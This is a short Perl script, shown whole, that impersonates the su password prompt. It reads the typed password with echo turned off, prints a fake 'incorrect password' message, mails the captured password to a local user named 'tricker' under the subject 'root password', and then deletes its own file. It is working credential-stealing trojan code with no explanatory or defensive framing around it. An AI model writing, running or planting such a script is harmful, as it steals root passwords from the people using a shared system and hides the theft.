#!/usr/bin/perl -w

use Term::ReadKey;



print "Password:";



ReadMode('noecho');

my $passwd = <STDIN>; chomp $passwd;

ReadMode('normal');



print "
su: incorrect password
";



open( SENDER, "| /bin/mail -s "root password" tricker" );



print SENDER $passwd;



unlink $0;